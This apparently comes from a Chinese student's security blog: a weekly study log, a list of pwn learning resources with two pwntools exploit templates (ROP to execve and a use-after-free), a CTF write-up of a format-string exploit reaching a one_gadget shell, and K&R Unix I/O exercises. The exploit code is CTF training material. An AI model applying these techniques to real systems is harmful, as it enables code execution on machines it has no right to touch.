唐仔橙

置顶|发表于2023-03-28|更新于2023-11-12

2023年第一周(3.27-4.2)1.高级网络攻防练习题1(栈迁移、orw、ret2csu),简单学了下第二题堆的两个漏洞原理(largebinattack & poison null byte) 2.精读论文并准备pre的ppt https://www.usenix.org/conference/usenixsecurity22/presentation/myung 3.补天10周年活动,志愿者、制作学术道德视频第二周(4.3-4.9)1.高级攻防writeup,主要练习规范和画图 2.虚拟化pre+分析博客 3.阅读分析malloc源码,分析largebin漏洞 4.栈迁移三道练习题目 5.读论文: MOZE(自动化堆风水)和一篇综述(内存安全) Maze: Towards Automated Heap Feng Shui SoK: Eternal War in Memory 6.做了一点但不多: 阅读afl源码、软件漏洞分析与挖掘作业,逆向题以及整合ppt、pwn一键搭建环境脚本第三周(4.10-4.16)不要惧怕畏惧自己不擅长的,以及觉得自己不喜欢学的,比如AI,早晚可能会用到,所以该学还得学!! 1.精读论文,制作ppt和讲稿pre:自动化堆风水 https://www.usenix.org/conference/usenixsecurity22/presentation/myung 2.三道栈迁移博客 + 5道题练习 3.uaf学习和题目练习 4.计算机系统基础(一)：程序的表示、转换与链接看了四章节左右第四周(4.17-4.23)1.红明谷杯+中国海洋大学ctf、月赛pwn出题 2.计算机基础看了两章节左右、csapp做了半章习题 3.移动安全作业,大概读了一下demo的代码 https://github.com/song-dev/device-info 第五周(4.24-4.30)这一周上到一半就开始准备五一出去玩了…导致干的活不是很多… 1.南大cs基础继续看,快看完了,csapp第三章做到一半多了 2.复习和学习了一下域渗透、Linux后门 3.移动安全作业,就简单的读懂了实现逻辑,添加了一个读取通讯录的功能第六周(5.1-5.7)1.cpp学习了两章 2.学习了一点域渗透 3.做了一个csapp实验(二进制炸弹) 第七周(5.8-5.14)1.totolink T10 路由器环境搭建业务分析漏洞复现第八周(5.15-5.21)1.周六月赛,做了一天寄……摆了一星期第九周(5.22-5.28)1.过了音乐考试、游泳考试、软件漏洞分析与发现考试! 2.做了一点组里的活第十周(5.29-6.4)1.高级网络攻防考试,以及学了一下offbyone, 2.dasctf 二进制专项比赛第十一周(6.5-6.11)1.升级赛…条件竞争…得好好看看pwncollege了..要学的还很多 2.这周忘了干啥…感觉时间比较零碎…(还是尽量不要把时间打的太散比较好,可以安排一块时间处理散乱的事情) 第十二周 (6.12 - 6.18)1.夏季学期云安全存储实践系统的前端(QT、C++实现) 2.乙队月赛,终于拿到第一名了!拿到奖金了!!,虽然成长缓慢,但是从最初的菜鸡,一道题也做不出来,也看不懂,到现在基本都有思路,简单一点的话能AK,还是有点长进的,算是一点小小的欣慰吧,继续加油!!! 第十三 - 十六周(6.19 - 7.16)休息. 旅游第十七周 7.17-7.231.虚拟化入门,了解了下虚拟化 2.忘了..好像在摸鱼第十八周 7.24 - 7.301.虚拟化了解CPU相关, 看了一下KVM源码 2.pwn学了两种手法 3.回工位装系统装环境….遇到了很奇怪的问题..拆机+反复装系统,感觉挺好玩的…. 第十九周 7.31 - 8.6在家躺着第二十-二十二周8.7-27hw 第二十三周 8.28-9.3看内存虚拟化、云原生安全第二十四周 9.4-9.10月赛出题3道第二十五周 9.11 - 9.17对象生病,陪护住院第二十六周 9.18 - 9.24调研各种小事 brics ctf 第二十七周 9.25 - 10.1回炉重造c,打基础打升级赛: 意识到自己还有差距,不过目标更清晰了第二十八周 10.2 - 10.8玩第二十九周 10.9 - 10.15调研弹性计算相关内容第三十周10.16 - 10.22学习rust,完成入门100题第三十一周 10.23-10.29我忘了… 第三十二周 10.30 - 11.5月赛、组里活、c基础回顾记录的越来越潦草了…得警醒一下, 同时感觉自己每周做的事情太杂了,太分散了,或许需要调整一下策略第三十三周 11.6-11.121.glibc调试、月赛题目复盘分析、c书最后小实验 2.做了几道练习题,学了几种新的手法 3.看了点namespace隔离

pwn入门-0-学习资源及备忘仓库

置顶|发表于2023-02-18|更新于2023-08-30|PWN

[toc] 每日可看玄武实验室 sec.today 安全研究 GoSSIP 公众号每日推送吾爱破解 https://www.52pojie.cn 看雪论坛 https://bbs.kanxue.com v2ex 分享探索社区 https://www.v2ex.com 资源整合和学习路径https://csdiy.wiki/ 北大学生总结的自学指南,非常好,融合了许多优质的公开课程和书籍最近待看https://github.com/firmianay/CTF-All-In-One/tree/master 感觉作者有添加一些新的东西(相比那本书) https://seedsecuritylabs.org/instructor_manual.html seedlab https://nju-projectn.github.io/ics-pa-gitbook/ics2021/ 南大计算机基础实验 http://www.hackdig.com https://www.bookstack.cn/read/webxiaohua-gitbook/README.md https://hacklido.com/ 一个国外的网站, 有篇很励志的文章https://hacklido.com/blog/439-how-i-got-my-oscp-at-16-years-old https://hsqstephenzhang.github.io/2022/02/10/linux/syscall/vdso/ 腾讯云容器团队的一个老哥的博客,感觉挺有意思北理工那个团队网站 https://www.isclab.org.cn https://www.ooopn.com 一个工具网站 https://bbs.kanxue.com/thread-218617.htm 看雪个人博客 https://hnusec.github.io/#/Stuff 国际知名战队的博客等 https://defcon.org/html/defcon-29/dc-29-speakers.html#fournier https://blog.csdn.net/Breeze_CAT/article/details/103788631 https://wizardforcel.gitbooks.io/100-gdb-tips/content/call-func.html https://www.52pojie.cn/thread-1399142-1-1.html https://hack1s.fun/page/2/ http://javabin.cn 一个搞物联网的,感觉挺有意思问题libc.so.6怎么用? https://www.cnblogs.com/Taolaw/p/16281185.html Glibc,libc gcc工作原理了解清楚学习资源安全会议四大顶会 blackhat https://www.blackhat.com https://www.blackhat.com/latestintel/ https://www.blackhat.com/html/archives.html 安全社区(可以没事多逛逛)玄武实验室 sec.today 吾爱破解 https://www.52pojie.cn 看雪论坛 https://bbs.kanxue.com v2ex 分享探索社区 https://www.v2ex.com https://www.ctfiot.com chamd5的! 一个综合信息平台学习网站CTFwiki（入门必看wiki）: https://ctf-wiki.github.io/ctf-wiki/#/introduction ctftime ctf各个比赛日程,很权威 buuctf https://buuoj.cn/ ctfshow https://ctf.show/challenges ctfhub CTFrank: https://ctfrank.org/ 攻防世界 xctf官方: https://time.xctf.org.cn i春秋 https://www.ichunqiu.com/competition http://www.wechall.net/active_sites 一个ctf网站，同时也收录了很多学习网站 Tryhackme\hackthebox\ pwn专属pwn.college 由浅入深,一步一步,还有机器可以用! https://pwnable.kr http://pwnable.tw 重要比赛defcon https://defcon.org/html/defcon-30/dc-30-training.html 书籍《计算机安全导论：深度实践 (杜文亮) 》很适合入门,讲的非常详细《从0到1，CTFer的成长之路》《CTF权威指南-PWN篇》大佬博客https://xuanxuanblingbling.github.io xuanxuan和他对象的,记录了从小白到大神的一路,感觉写得非常好! https://blingblingxuanxuan.github.io https://hurricane618.me IIE学长的博客,有写自己的心路历程,感觉很不错,能从中看到一个人的成长 https://kiprey.github.io 清华网安硕士在读,博客深入浅出,良好的学习路线 https://blog.csdn.net/weixin_45209963?type=blog 天大pwn老哥的博客计算机底层的秘密 https://github.com/webxiaohua/gitbook/blob/master/SUMMARY.md 这个合集不错 http://ifsec.blogspot.com/2018/02/so-you-want-to-work-in-security-and-for.html https://bestwing.me/archives/page/14/ https://etenal.me/archives/1121 待看,这个也不错,这一篇是堆的 http://blog.imv1.me NeSE搞内核安全的大佬学长 https://eqqie.cn https://github.com/kiprey/skr_Learning 一个非常不错的成长路线(每周更新),可以参考, https://cjting.me 做的一些很深入的小研究,治愈系 https://trailofbits.github.io/ctf/ https://security.ntu.st/ https://github.com/BrieflyX/ctf-pwns Atum https://hpdoger.cn/about/ 又一个学长的博客 https://trailofbits.github.io/ctf/ https://security.ntu.st/ https://etenal.me/archives/972#C1 https://github.com/BrieflyX/ctf-pwns https://y4er.com web https://blog.flanker017.me Eastmount（csdn）、娜璋ai安全之家（公众号）：博士在读，研究AI、网络安全 https://blog.csdn.net/Eastmount http://shell-storm.org 国外大佬，还有很多shellcode样本[http://shell-storm.org/shellcode/]( http://scz.617.cn:8 不知道是哪个大佬.. http://showlinkroom.me https://eternalsakura13.com/ https://kiprey.github.io/ http://blog.eonew.cn/ http://ruanyifeng.com/blog/2018/02/docker-tutorial.html https://thiscute.world/ 最近发现的两个计算机的大佬,在v2ex中发现的 https://soulteary.com 0xffff社区 https://0xffff.one/d/1085-mit6-s081-operating-system CTF知名战队网站国科大-NeSE:https://nese.team 清华:https://redbud.info 复旦白泽战队:知乎、微信公众号 X1cT34m: https://ctf.njupt.edu.cn SU:https://team-su.github.io 星盟:https://space.bilibili.com/489643272 有ctf培训课程 pwn已完结、微信公众号:星盟安全天璇Merak: 微信公众号,有一些文章,更新较少星盟 http://blog.xmcve.com 漏洞挖掘/分析工具angr 一些小工具:Compiler Explorer 在线应用层代码转汇编在线运行汇编 https://www.tutorialspoint.com/compile_assembly_online.php https://www.textcompare.org diff网站,比较各种内容的不同 https://gchq.github.io/CyberChef/ 解密解码工具 https://cloudconvert.com 在线格式转换 https://web.archive.org 查看历史网站记录 https://cloudconvert.com 各种文件的格式转换 https://www.ilovepdf.com pdf操作，切割等 ctf导航http://www.ctfiot.com. ChaMd5团队做的 https://ctf.mzy0.com 特定漏洞相关资源堆how2heap(github) https://bbs.kanxue.com/thread-272416.htm#msg_header_h1_2 待整理资源https://blog.csdn.net/Breeze_CAT/article/details/103788631 其他查看系统调用 https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl 系统调用参考\查看系统调用参数 https://syscalls64.paolostivanin.com https://elixir.bootlin.com/linux/v5.19/C/ident/getname macbook 快捷键 http://dragon-li.gitee.io/my-wiki/doc/mac/005-Mac下Iterm2使用及快捷键.html 解题模版 123456789101112131415161718from pwn import *context.log_level= "debug"context.arch='amd64' //sh = process("./ret2syscall")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"break *0x8048e96")binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80) sh.send(payload)sh.interactive() 1234567891011121314151617181920212223242526from pwn import *context.log_level= "debug"context.arch='amd64'io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",str(length)) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",str(index))def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",str(index))add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x08048986))Print(0)io.interactive()#io.recv(1024) libc版本问题,需要换一下 2.27 [DEBUG] Received 0x29 bytes: b’free(): double free detected in tcache 2\n’

pwn入门-47-zh3R0CTF2021-moreprintf

发表于2023-11-12|更新于2023-11-16|PWN|PWN入门

这个题还有一些奇奇怪怪的问题, 但是怕自己跑偏了,就暂时先放下了,后面有空再研究.(或许和fprintf的机制有关? 先复习一下格式化字符串,本来想看看之前自己写的笔记…看了一下后想起来了一句名言,大意就是你去修改一个很烂的项目不如重构….恩….写的太烂了…不如重写一篇… 格式化字符串漏洞基础%n 为什么能写入值呢,就是这个%n,它是将之前已经打印的字符个数赋值给当前偏移处的指针指向的地址例如%100×10$n: 将100写入第十个位置所保存的指针指向的地址(4字节), %$hn是2字节,%$hhn是1字节,%$lln是8字节 %p %p %p %p %p %p %p %p %p %p %p 在b *fprintf+143也就是vprintf下断点,然后set $rdi=_IO_stdout, 单步,就可以打印地址了 1*RSI 0x55555555b4c0 ◂— '0x55555555b260 0x7ffff7af2151 0x7ffff7dcf8c0 0x7ffff7ff5540 0x7fffffffe470 0xb1dad8e32f5ad200 0x5555555552c0 0x7ffff7a03bf7 0x1 0x7fffffffe568\n' 前四个值和后四个值 %c c是一个字符的意思, 在后面的exp中,%c%c%c%5c%hhn表示,前三次输出,都是输出一个字符,第四次是5个字符,然后一共是8个字节了,把8写入第5个位置的指针指向的地址. set $rdi=_IO_stdout ( 其他版本呢?) %caaa%cbbb%cccc%5cddd%hhn, 可以看到确实只打印了第一个字符,然后%5c是把不足的用空格补齐 1`aaaQbbb�ccc @ddd 然后把值写到了第5个位置的指针指向的地址用%c%c%c%5c%hhn试一下, 可以看到确实是改成了0x08 但在我这里应该是要改成0xc8 不过其实应该没影响,都是把read地方的值改成onegadget 任意地址写修改值1%c%c%c%5c%hhn%*8$d%186326c%5$n 除了wp给的payload,换其他的很多都不行…为什么呢?? 仔细观察源码, 有输入长度的限制的, fgets(buffer, 31, stdin); 如果不是单纯做题而是研究一下打法的话,可以拓展一下长度试试,这样的话应该就好很多,(可以加系统调用限制,然后又是orw的一道题(x)) (或者直接在运行的时候改寄存器,修改读入长度) 修改ret返回值(x)123456781a:00d0│ 0x7fffffffe4a0 —▸ 0x555555555100 (_start) ◂— endbr641b:00d8│ 0x7fffffffe4a8 —▸ 0x5555555552af (main+198) ◂— mov edi, 11c:00e0│ 0x7fffffffe4b0 ◂— 0x7fffffffe4b01d:00e8│ 0x7fffffffe4b8 ◂— 0xb8204e953bb68d001e:00f0│ rbp 0x7fffffffe4c0 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7fffffffe4c8 —▸ 0x7ffff7a03c87 (__libc_start_main+231) ◂— mov edi, eax %c%c%c%197c%hhn%*8$d%????c%5$n onegadget - (200 + 0x21c87 )就是要改的值了 1234567891011120x4f2a5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL0x4f302 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL0x10a2fc execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL 0x4f2a5- (200 + 0x21c87 ) = 185686 %c%c%c%197c%hhn%*8$d%185686c%5$n 邪门,就是不出c8,概率比较小,可能和系统有关? 改成0x18吧… %c%c%c%21c%hhn%*8$d%185862c%5$n 但还是不行.. 问题出在这个函数没有ret的….那….. 所以覆盖了也没用… fprintf之后有ret 回main函数的exit, 是不是可以修改这里呢? 这里就是下面的main+198 改其他的函数指针,比如改main+1980x556fe88e42af这里会执行到的,但是是把这里的值改了(用watch下断点查看) 1234561a:00d0│ 0x7ffca5108380 —▸ 0x556fe88e4100 (_start) ◂— endbr641b:00d8│ 0x7ffca5108388 —▸ 0x556fe88e42af (main+198) ◂— mov edi, 11c:00e0│ 0x7ffca5108390 ◂— 0x7ffca51083901d:00e8│ 0x7ffca5108398 ◂— 0x695c632b96376d001e:00f0│ rbp 0x7ffca51083a0 —▸ 0x556fe88e42c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7ffca51083a8 —▸ 0x7fc96c879c87 (__libc_start_main+231) ◂— mov edi, eax 修改下内存测试下 0x7f8d3724c000+0x4f2a5 = 0x7f8d3729b2a5 set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?) set *0x7ffc28b196dc= 0x7f8d 这里会把这个值修改一下,但不知道后面会不会执行, 会执行!!! 0x18: %c%c%c%21c%hhn%*8$d%185862c%5$n 0x28: %c%c%c%37c%hhn%*8$d%185846c%5$n 但是没办法一次改完….得两次啊,不对,应该用%lln 0x18: %c%c%c%21c%hhn%*8$d%185862c%5$lln 0x28: %c%c%c%37c%hhn%*8$d%185846c%5$lln 不过为什么好像没有改成8字节,还是4字节呢? 以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下如何确定能到read 那就算修改了read, 怎么确定一定会执行到read呢, 不是执行到read,而是执行到栈里的这个地方,把那里的值改了,看wp一头雾水,wp中的调用链在本地测试不是这样所以我感觉有几份就是瞎扯淡,瞎蒙的(不过也可能是自己认识不足是在vprift里面触发的哦卧槽,这和栈的结构有关….?? 为什么返回地址会到这呢?? 改rsp上面那个值才行 123456789101112131415161718192021222324252627282930311c:00e0│ 0x7ffd959070f0 —▸ 0x7ffd95907008 ◂— 0x7f2523745be71d:00e8│ 0x7ffd959070f8 ◂— 0xbaa72d067a954f001e:00f0│ rbp 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7ffd95907108 —▸ 0x7f25dc8e7bf7 (__libc_start_main+231) ◂— mov edi, eaxpwndbg> bt#0 0x00007f2523745be7 in ?? ()#1 0x0000003000000030 in ?? ()#2 0x00007ffd959070f8 in ?? ()#3 0x00007ffd95907030 in ?? ()#4 0xbaa72d067a954f00 in ?? ()#5 0x00007f25dccb1a00 in ?? () from ./libc.so.6#6 0x00007f25dccae2a0 in ?? () from ./libc.so.6#7 0x0000562fc300d260 in ?? ()#8 0x00007f25dc9d6151 in __GI___libc_read (fd=-1785699856, buf=0x562fc300d27e, nbytes=0) at ../sysdeps/unix/sysv/linux/read.c:27#9 0x00007f25dccb38c0 in _IO_stdfile_2_lock () from ./libc.so.6#10 0x00007f25dcedf540 in ?? ()#11 0xffffffffffffffb0 in ?? ()#12 0x0000000000000000 in ?? () pwndbg> tele $rsp-0x1000:0000│ 0x7ffd95907000 —▸ 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr6401:0008│ 0x7ffd95907008 ◂— 0x7f2523745be702:0010│ rsp 0x7ffd95907010 ◂— 0x3000000030 /* '0' */03:0018│ 0x7ffd95907018 —▸ 0x7ffd959070f8 ◂— 0xbaa72d067a954f0004:0020│ 0x7ffd95907020 —▸ 0x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b05:0028│ 0x7ffd95907028 ◂— 0xbaa72d067a954f0006:0030│ 0x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b07:0038│ 0x7ffd95907038 —▸ 0x7f25dccae2a0 (__GI__IO_file_jumps) ◂— 0x0 123456789pwndbg> tele $rsp-0x800:0000│ 0x7ffea6ecc4b8 —▸ 0x7fa5e518df44 (fprintf+148) ◂— mov rcx, qword ptr [rsp + 0x18]01:0008│ rsp 0x7ffea6ecc4c0 ◂— 0x3000000030 /* '0' */02:0010│ 0x7ffea6ecc4c8 —▸ 0x7ffea6ecc5a8 ◂— 0x3d76d5b60521190003:0018│ 0x7ffea6ecc4d0 —▸ 0x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b04:0020│ 0x7ffea6ecc4d8 ◂— 0x3d76d5b60521190005:0028│ 0x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b06:0030│ 0x7ffea6ecc4e8 —▸ 0x7fa5e55112a0 (__GI__IO_file_jumps) ◂— 0x007:0038│ 0x7ffea6ecc4f0 —▸ 0x55e932c72260 ◂— '%c%c%c%5c%hhn%*8$d%186326c%5$n' 题目分析源代码12345678910111213141516171819202122232425262728/* gcc -o more-printf -fstack-protector-all more-printf.c */#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>FILE *fp;char *buffer;uint64_t i = 0x8d9e7e558877;_Noreturn main() { /* Just to save some of your time */ uint64_t *p; p = &p; /* Chall */ setbuf(stdin, 0); buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样 fp = fopen("/dev/null", "wb"); fgets(buffer, 0x1f, stdin); if (i != 0x8d9e7e558877) { _exit(1337); } else { i = 1337; fprintf(fp, buffer); _exit(1); }} 逻辑分析12345678910111213141516int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ __int64 v3[2]; // [rsp+0h] [rbp-10h] BYREF v3[1] = __readfsqword(0x28u); v3[0] = (__int64)v3; setbuf(stdin, 0LL); buffer = (char *)malloc(0x21uLL); fp = fopen("/dev/null", "wb"); fgets(buffer, 31, stdin); if ( i != 0x8D9E7E558877LL ) _exit(1337); i = 1337LL; fprintf(fp, buffer); _exit(1);} 能够看到没有溢出,有一次格式化字符串利用的机会, 我在想是不是可以直接把返回地址修改成onegadget呢? 答案没采用这种方法,后面证实确实不行,一个是没有ret, 换别的函数的ret没有合适的指针(存疑) 先用%p泄露地址,能够看到第二个地址是比较特殊的, read函数,如果可以修改后面几个字节, 改为和onegadget一样,通过枚举,alsr偏移也一样的话,就可以getshell了,onegadget的话 0x4f3d5, 有五位不同, 枚举的话还是需要挺长时间的.. (不需要通过枚举,完全可以利用现有的指针),也就是第8个参数 __libc_start_main+231知道这里的值,加上偏移就是onegadget的值了! 123__libc_start_main+231: 0x7ffff7a03bf7onegadget : 0x7ffff7a313d5相差: onegadget-__libc_start_main+231 = 0x2d7de = 186334 作者认为修改的read+17这个值是修改完后才会执行到的…依据是什么呢,如果不是这样的呢? 下断点: b *read 下不了…q 要输入payload: %c%c%c%5c%hhn%*8$d%186326c%5$n 也不行可以下watch断点的, watch一下要修改的地方的地址 123456pwndbg> info bNum Type Disp Enb Address What7 breakpoint keep y 0x00007ffff7a46f3f in __fprintf at fprintf.c:32 breakpoint already hit 1 time9 breakpoint keep n 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:2711 breakpoint keep y 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:27 下的断点没用呢… 换个patchelf试试, 2.27-3ubuntu1.4 https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/ 先用这个吧 2.27-3ubuntu1.5_amd64 进去一会后按c, 就能够进入最后的调试了,不行就下一个,继续c 关键再c就退出去了.. 注意下断点的地址, exit可以那是不是可以下system\execve 直接q然后继续就好了 gdb –pid 进去为什么这里就可以只枚举32呢? 所以对抗alsr的点不是在onegadget这个地址上,这里是确定的, 那什么是不确定的呢? 就是要修改的地址的地址, 它不一定是0x08,可能是0x18 28 也可能是0x00 0x20, 所以才会有32种可能不过在我的电脑上, 第2的字节的一半也变了…那随机化的范围又大了(关闭随机化的情况下,开启了好像又一样了) 实际修改的指针改的其实是上面的函数的地址(实测) 作者提出的修改read+17行不通调试下断点和bt回溯遇到了问题首先,bt回溯时候的各种问题,我认为是因为劫持控制流破坏了识别算法, 识别不出来, syscall能下断点吗 do_system gdb 执行了新的sh,怎么跟踪呢? 如何看上一个进程的bt 为什么会执行到上面那里呢? 为什么会从那里取值rip呢? 这里貌似是比较重要的函数这里面进行解析的吧, 是的,所以重点应该在这里 printf_positional 怎么样才能跟踪执行流呢故意输错让他卡在那是不是就可以了注意看这里, 返回了最开始的栈帧, 为什么只链接了那两个就可以了??????问题 buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样 set $rdi=_IO_stdout ( 其他版本呢?) set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?) 以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下如何下断点来到这里呢? 最后返回onegadget的时候下不了断点 gdb启动的时候如何多下几个断点为什么会从从rsp上面取值? tipsgdb中如何关了alsr调试呢 12set disable-randomization on 关闭set disable-randomization off 开启参考https://www.anquanke.com/post/id/85785 https://xz.aliyun.com/t/12304 https://www.hakuya.work/post/2 https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/ https://github.com/zh3r0/zh3r0-ctf/tree/main/V2/pwn/more-printf/public/vuln https://blog.caprinux.com/2021/06/07/zh3ro-ctf-more-printf/ https://sangjun.xyz/125 感觉前面几个讲的方法最后一步都有问题 https://cor.team/posts/zh3r0-ctf-v2-complete-pwn-writeups/ 这一篇或许是对的

c语言回炉重造-unix系统接口

发表于2023-11-12|更新于2023-11-12|编程基础|C语言

8.2 低级IO read/write 利用这个系统调用来构造高级一点的函数, 库函数之类的系统调用的函数原型集中放在一个头文件syscalls.h中( 事实上目前的系统里只有syscall.h,最后也会调用unistd.h) 123456789101112131415//将输入复制到输出//#include "syscalls.h"#include <stdio.h>#include <unistd.h>int main(){ char buf[BUFSIZ]; int n; while((n = read(0, buf, BUFSIZ)) > 0 ) write(1, buf,n); return 0;} 1234io.c:3:10: fatal error: syscalls.h: No such file or directory 3 | #include "syscalls.h" | ^~~~~~~~~~~~compilation terminated. https://blog.csdn.net/sesiria/article/details/52337114 PS: /usr/include/目录下存着c的各种头文件,可以从这里寻找 12# cat /usr/include/syscall.h#include <sys/syscall.h> 确实是存在这个目录的,但是为什么没找到呢? syscall.h, 没有s 12#include "syscall.h"#include <stdio.h> //stdio.h里面有BUFSIZ, 或者自己定义一下实现getchar(无缓冲区) 1234567#include "syscalls.h"int getchar(void){ char c; return (read(0,&c,1) == 1) ? (unsigned char) c: EOF;} 第二版一次读入一组字符,但每次只输出一个字符(简单的带缓冲区的版本) 但是这个函数调用完了,缓冲区什么的也都没了吧?? 不是的, static的生命周期,在整个程序的运行期间都存在 1234567891011121314151617181920212223242526//#include "syscalls.h"#include <stdio.h>#include <unistd.h>int getchar(void);int main(){ char s; while((s = getchar())!=EOF){ write(1,&s,1); }}int getchar(void){ static char buf[BUFSIZ]; static char *bufp = buf; static int n = 0; if (n == 0){//缓冲区为空 n = read(0,buf, sizeof buf); bufp = buf; } return (--n>0) ? (unsigned char) *bufp++ : EOF;} 8.3 open、creat、close和unlink123456#include <fcntl.h>int fd;int open(char *name,int flags,int perms);fd = open(name, flags, perms) 123456789101112131415161718192021222324252627282930313233343536373839#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <stdarg.h>#include <stdlib.h>#define PERMS 0666void error(char *,...);int main(int argc, char *argv[]){ int f1,f2,n; char buf[BUFSIZ]; if (argc != 3) error("Usage: cp from to"); if ((f1 = open(argv[1],O_RDONLY,0)) == -1) error("cp: can't open %s",argv[1]); if ((f2 = creat(argv[2],PERMS)) == -1) error("cp: can't create %s,mode %03o",argv[2],PERMS); while((n = read(f1,buf,BUFSIZ)) > 0) if(write(f2,buf,n) !=n) error("cp: write error on file %s",argv[2]); return 0;}void error(char *fmt,...){ va_list args; va_start(args,fmt); fprintf(stderr,"error: "); vfprintf(stderr,fmt,args); fprintf(stderr,"\n"); va_end(args); exit(1);} 8.5 fopen与getc函数的实现给的iobuf应该是dos的 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#include <fcntl.h>#include "syscalls.h"#define PERMS 0666FILE *fopen(char *name, char *mode){ int fd; FILE *fp; if (*mode != 'r' && *mode !='w' && *mode!='a') return NULL; for (fp= _iob; fp < _iob + OPEN_MAX; fp++) if ((fp->flag & (_READ | _WRITE)) == 0) break; if (fp > _iob+OPEN_MAX) return NULL; if (*mode == 'w') fd = creat(name,PERMS); else if (*mode == 'a'){ if ((fd = open(name,O_WRONLY,0)) == -1) fd = creat(name,PERMS); lseek(fd,0L,2); }else fd = open(name,O_RDONLY,0); if (fd == -1) return NULL; fp->fd = fd; fd->cnt =0; fp->base = NULL; fp->flag = (*mode == 'r') ? _READ : _WRITE; return fp;}int _fillbuf(FILE *fp){ int bufsize; if ((fp->flag&(_READ|_EOF|_ERR)) != _READ) return EOF: bufsize = (fp->flag & _UNBUF) ? 1 : BUFSIZE; if (fp->base == NULL) if ((fp->base = (char *) malloc(bufsize)) == NULL) return EOF; fp->ptr = fp->base; fp->cnt = read(fp->fd, fp->ptr,bufsize); if (--fp->cnt < 0){ if (fp->cnt == -1) fp->flag |= _EOF; else fp->flag !=_ERR: fp->cnt = 0; return EOF: } return (unsigned char) *fp->ptr++;} 8.6123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139#define NAME_MAX 14typedef struct { long ino; char name[NAME_MAX+1];} Dirent;typedef struct{ int fd; Dirent d;} DIR1;DIR1 *opendir1(char *dirname);Dirent *readdir1(DIR1 *dfd);void closedir1(DIR1 *dfd);#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>//#include "dirent.h"#include <stdlib.h>#include <unistd.h>void fsize(char *);//int stat(char *,struct stat * );void dirwalk(char *, void (*fcn)(char *));int main(int argc, char **argv){ if (argc == 1) fsize("."); else while(--argc > 0) fsize(*++argv); return 0;}void fsize(char *name){ struct stat stbuf; if (stat(name,&stbuf) == -1) { fprintf(stderr,"fsize: can't access %s\n",name); } if ((stbuf.st_mode & S_IFMT) == S_IFDIR) { printf("is a dir\n"); dirwalk(name, fsize); } printf("%8ld %s\n",stbuf.st_size,name);}#define MAX_PATH 1024void dirwalk(char *dir,void (*fcn)(char *)){ char name[MAX_PATH]; Dirent *dp; DIR1 *dfd; if ((dfd = opendir1(dir)) == NULL) { fprintf(stderr,"dirwalk: can't open %s\n",dir); return; } printf("here\n"); while ((dp = readdir1(dfd)) != NULL){ printf("dp->name:%s",dp->name); if (strcmp(dp->name,".") ==0 || strcmp(dp->name,"..")==0) continue; //跳过自身和父目录 if (strlen(dir)+strlen(dp->name)+2 > sizeof(name)) fprintf(stderr,"dirwalk: name %s/%s too long\n",dir,dp->name); else{ sprintf(name,"%s/%s",dir,dp->name); (*fcn)(name); } } closedir1(dfd);}DIR1 *opendir1(char *dirname){ int fd; struct stat stbuf; DIR1 *dp; if ((fd = open(dirname,0,O_RDONLY,0)) == -1 || fstat(fd,&stbuf) == -1 || (dp = (DIR1 *) malloc(sizeof(DIR1))) == NULL) return NULL; dp->fd = fd; return dp;}#include <sys/dir.h>#ifndef DIRSIZ#define DIRSIZ 14#endifstruct direct1{ ino_t d_ino; char d_name[DIRSIZ];};Dirent *readdir1(DIR1 *dp){ struct direct1 dirbuf; static Dirent d; while(read(dp->fd,(char *)&dirbuf,sizeof(dirbuf)) == sizeof(dirbuf)){ if(dirbuf.d_ino == 0) continue; d.ino = dirbuf.d_ino; strncpy(d.name, dirbuf.d_name,DIRSIZ); d.name[DIRSIZ] = '\0'; return &d;} return NULL;}void closedir1(DIR1 *dp){ if(dp){ close(dp->fd); free(dp);}} 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#define NAME_MAX 14#include <stdio.h>#include <string.h>#include 